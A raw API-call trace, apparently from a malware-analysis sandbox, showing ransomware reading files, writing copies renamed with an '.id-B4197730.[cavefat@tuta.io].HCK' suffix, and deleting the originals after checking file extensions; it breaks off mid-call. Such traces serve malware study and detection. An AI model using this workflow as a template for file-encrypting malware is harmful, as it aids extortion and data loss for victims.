[0148.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.522] lstrlenW (lpString=".zip") returned 4 [0148.522] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.522] lstrlenW (lpString=".rar") returned 4 [0148.522] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.522] lstrlenW (lpString=".bz2") returned 4 [0148.522] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.522] lstrlenW (lpString=".7z") returned 3 [0148.522] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.522] lstrlenW (lpString=".dbf") returned 4 [0148.522] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.522] lstrlenW (lpString=".1cd") returned 4 [0148.522] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.522] lstrlenW (lpString=".jpg") returned 4 [0148.522] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.522] lstrlenW (lpString=".doc") returned 4 [0148.522] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.522] lstrlenW (lpString=".docx") returned 5 [0148.522] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.522] lstrlenW (lpString=".pdf") returned 4 [0148.522] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.522] lstrlenW (lpString=".xls") returned 4 [0148.522] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.523] lstrlenW (lpString=".xlsx") returned 5 [0148.523] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.523] lstrlenW (lpString=".ppt") returned 4 [0148.523] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.523] lstrlenW (lpString=".zip") returned 4 [0148.523] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.523] lstrlenW (lpString=".rar") returned 4 [0148.523] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.523] lstrlenW (lpString=".bz2") returned 4 [0148.523] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.523] lstrlenW (lpString=".7z") returned 3 [0148.523] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.523] lstrlenW (lpString=".dbf") returned 4 [0148.523] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.523] lstrlenW (lpString=".1cd") returned 4 [0148.523] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.523] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0148.523] lstrlenW (lpString=".jpg") returned 4 [0148.523] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.523] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.523] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.523] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=80060) returned 1 [0148.523] CloseHandle (hObject=0x2e8) returned 1 [0148.523] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0148.523] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.524] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.524] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.524] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.524] GetLastError () returned 0x0 [0148.524] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x138bc, lpOverlapped=0x0) returned 1 [0148.526] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x138c0, lpOverlapped=0x0) returned 1 [0148.958] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.958] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.958] SetEndOfFile (hFile=0x2f0) returned 1 [0148.958] CloseHandle (hObject=0x2f0) returned 1 [0148.960] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.960] SetEndOfFile (hFile=0x2e8) returned 1 [0148.961] CloseHandle (hObject=0x2e8) returned 1 [0148.961] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.962] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0148.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.962] lstrlenW (lpString=".doc") returned 4 [0148.962] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.962] lstrlenW (lpString=".docx") returned 5 [0148.962] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.962] lstrlenW (lpString=".pdf") returned 4 [0148.962] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.962] lstrlenW (lpString=".xls") returned 4 [0148.962] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.962] lstrlenW (lpString=".xlsx") returned 5 [0148.962] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.962] lstrlenW (lpString=".ppt") returned 4 [0148.962] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.962] lstrlenW (lpString=".zip") returned 4 [0148.962] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.962] lstrlenW (lpString=".rar") returned 4 [0148.962] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.962] lstrlenW (lpString=".bz2") returned 4 [0148.962] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.962] lstrlenW (lpString=".7z") returned 3 [0148.962] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.962] lstrlenW (lpString=".dbf") returned 4 [0148.962] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.962] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.962] lstrlenW (lpString=".1cd") returned 4 [0148.963] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.963] lstrlenW (lpString=".jpg") returned 4 [0148.963] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.963] lstrlenW (lpString=".doc") returned 4 [0148.963] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString=".docx") returned 5 [0148.963] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.963] lstrlenW (lpString=".pdf") returned 4 [0148.963] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString=".xls") returned 4 [0148.963] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString=".xlsx") returned 5 [0148.963] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.963] lstrlenW (lpString=".ppt") returned 4 [0148.963] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.963] lstrlenW (lpString=".zip") returned 4 [0148.963] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.963] lstrlenW (lpString=".rar") returned 4 [0148.963] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString=".bz2") returned 4 [0148.963] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString=".7z") returned 3 [0148.963] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.963] lstrlenW (lpString=".dbf") returned 4 [0148.963] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.963] lstrlenW (lpString=".1cd") returned 4 [0148.963] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.963] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44 [0148.963] lstrlenW (lpString=".jpg") returned 4 [0148.963] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.963] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.963] lstrlenW (lpString="eula.rtf") returned 8 [0148.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.964] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3046) returned 1 [0148.964] CloseHandle (hObject=0x2e8) returned 1 [0148.964] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0148.964] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.964] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.964] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.964] GetLastError () returned 0x0 [0148.964] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xbe6, lpOverlapped=0x0) returned 1 [0148.967] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0148.968] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.968] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.968] SetEndOfFile (hFile=0x2f0) returned 1 [0148.968] CloseHandle (hObject=0x2f0) returned 1 [0148.969] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.969] SetEndOfFile (hFile=0x2e8) returned 1 [0148.969] CloseHandle (hObject=0x2e8) returned 1 [0148.970] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.970] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0148.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.970] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.970] lstrlenW (lpString=".doc") returned 4 [0148.970] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.970] lstrlenW (lpString=".docx") returned 5 [0148.970] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.970] lstrlenW (lpString=".pdf") returned 4 [0148.970] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.970] lstrlenW (lpString=".xls") returned 4 [0148.970] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.971] lstrlenW (lpString=".xlsx") returned 5 [0148.971] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.971] lstrlenW (lpString=".ppt") returned 4 [0148.971] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.971] lstrlenW (lpString=".zip") returned 4 [0148.971] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.971] lstrlenW (lpString=".rar") returned 4 [0148.971] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString=".bz2") returned 4 [0148.971] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString=".7z") returned 3 [0148.971] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.971] lstrlenW (lpString=".dbf") returned 4 [0148.971] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.971] lstrlenW (lpString=".1cd") returned 4 [0148.971] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.971] lstrlenW (lpString=".jpg") returned 4 [0148.971] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.971] lstrlenW (lpString=".doc") returned 4 [0148.971] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString=".docx") returned 5 [0148.971] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.971] lstrlenW (lpString=".pdf") returned 4 [0148.971] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString=".xls") returned 4 [0148.971] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.971] lstrlenW (lpString=".xlsx") returned 5 [0148.971] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.971] lstrlenW (lpString=".ppt") returned 4 [0148.971] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.971] lstrlenW (lpString=".zip") returned 4 [0148.971] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.971] lstrlenW (lpString=".rar") returned 4 [0148.971] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString=".bz2") returned 4 [0148.971] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.971] lstrlenW (lpString=".7z") returned 3 [0148.972] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.972] lstrlenW (lpString=".dbf") returned 4 [0148.972] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.972] lstrlenW (lpString=".1cd") returned 4 [0148.972] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0148.972] lstrlenW (lpString=".jpg") returned 4 [0148.972] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.972] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.972] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.972] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=79296) returned 1 [0148.972] CloseHandle (hObject=0x2e8) returned 1 [0148.973] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0148.973] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.973] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.973] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.973] GetLastError () returned 0x0 [0148.973] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x135c0, lpOverlapped=0x0) returned 1 [0148.976] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x135d0, lpOverlapped=0x0) returned 1 [0148.979] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.979] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.979] SetEndOfFile (hFile=0x2f0) returned 1 [0148.979] CloseHandle (hObject=0x2f0) returned 1 [0148.981] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.981] SetEndOfFile (hFile=0x2e8) returned 1 [0148.982] CloseHandle (hObject=0x2e8) returned 1 [0148.982] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.983] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0148.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.983] lstrlenW (lpString=".doc") returned 4 [0148.983] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.983] lstrlenW (lpString=".docx") returned 5 [0148.983] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.983] lstrlenW (lpString=".pdf") returned 4 [0148.983] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.983] lstrlenW (lpString=".xls") returned 4 [0148.983] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.983] lstrlenW (lpString=".xlsx") returned 5 [0148.983] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.983] lstrlenW (lpString=".ppt") returned 4 [0148.983] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.983] lstrlenW (lpString=".zip") returned 4 [0148.983] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.983] lstrlenW (lpString=".rar") returned 4 [0148.984] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString=".bz2") returned 4 [0148.984] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString=".7z") returned 3 [0148.984] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.984] lstrlenW (lpString=".dbf") returned 4 [0148.984] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.984] lstrlenW (lpString=".1cd") returned 4 [0148.984] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.984] lstrlenW (lpString=".jpg") returned 4 [0148.984] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.984] lstrlenW (lpString=".doc") returned 4 [0148.984] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString=".docx") returned 5 [0148.984] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.984] lstrlenW (lpString=".pdf") returned 4 [0148.984] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString=".xls") returned 4 [0148.984] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString=".xlsx") returned 5 [0148.984] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.984] lstrlenW (lpString=".ppt") returned 4 [0148.984] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0148.984] lstrlenW (lpString=".zip") returned 4 [0148.984] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.984] lstrlenW (lpString=".rar") returned 4 [0148.984] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString=".bz2") returned 4 [0148.984] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.984] lstrlenW (lpString=".7z") returned 3 [0148.984] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.984] lstrlenW 